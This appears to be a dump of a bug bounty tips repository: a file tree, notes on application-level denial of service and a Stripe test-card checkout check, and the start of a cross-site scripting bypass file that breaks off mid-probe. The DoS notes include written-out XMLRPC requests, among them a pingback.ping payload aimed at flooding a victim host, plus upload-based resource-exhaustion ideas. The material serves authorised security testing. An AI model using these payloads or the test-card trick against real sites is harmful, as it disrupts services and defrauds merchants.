├── Application_Level_DoS
└── Application_Level_DoS.txt
├── Credit Card Fraud
└── Credit Card Fraud.txt
├── Cross Site Scripting
├── Bypass
└── Cross SIte Scripting.txt
├── Host Header Injection
└── Host Header Injection.txt
├── LICENSE
├── Open Redirect
├── Bypass
└── Open Redirect.txt
├── README.md
├── Recon
├── GitHub Dorks.txt
└── Google Dorks.txt
└── Server Side Request Forgery
├── SSRF Roadmap.jpg
└── SSRF.txt
/Application_Level_DoS/Application_Level_DoS.txt:
--------------------------------------------------------------------------------
1 | ##BugBountyTips ##Application_Level_DoS
2 |
3 | Author : @NovanAR
4 |
5 | 1. Long String DoS
6 | -Try to input long password when registering an account
7 | -Try to input long text in Address, Name, Username, etc.
8 |
9 | 2. Picture Name Parameter
10 | -Upload a picture with large value name parameter
11 | -Upload a picture with the DoS payload inside it
12 | -Insert a DoS payload on image's "size" parameter
13 |
14 | 3. Pixel Flood Attack
15 | -Try to upload a picture with large resolution image
16 |
17 | 4. Application Level DoS via XMLRPC
18 | 1. Find some wordpress website with XMLRPC enabled and call the systems.listMethods
19 |
20 | POST /xmlrpc.php HTTP/1.1
21 | Host: vulnerable-website.com
22 | Accept: /
23 | Accept-Language: en
24 | Connection: close
25 | Content-Length: 93
26 |
27 |
28 | system.listMethods
29 |
30 |
31 |
32 | 2. Use the "pingback" methods to cause a DDOS attack against victim host
33 |
34 | POST /xmlrpc.php HTTP/1.1
35 | Host: vulnerable-website.com
36 | Accept: /
37 | Accept-Language: en
38 | Connection: close
39 | Content-Length: 93
40 |
41 |
42 |
43 | pingback.ping
44 |
45 | http://yourip:port
46 |
47 |
48 | https://target.com>
49 |
50 |
51 |
--------------------------------------------------------------------------------
/Credit Card Fraud/Credit Card Fraud.txt:
--------------------------------------------------------------------------------
1 | ##BugBountyTips ##Credit_Card_Fraud
2 |
3 | Author : @NovanAR
4 | GitHub : https://github.com/novanazizr
5 |
6 | Found a target with an e-commerce checkout?
7 |
8 | Try this test credit card number "4242 4242 4242 4242" Use any CVV and Credit Card Date
9 |
10 | If the payment was succeeded go report it.
11 |
12 | The impact was Business loss, any user can checkout a product using a test credit card number
13 |
14 | For more information check in here : https://stripe.com/docs/testing
15 |
--------------------------------------------------------------------------------
/Cross Site Scripting/Bypass:
--------------------------------------------------------------------------------
1 | site.com/randomsearch/?input=test reflected
2 | site.com/randomsearch/?input=test" reflected
3 | site.com/randomsearch/?input=test">< reflected
4 | site.com/randomsearch/?input=test"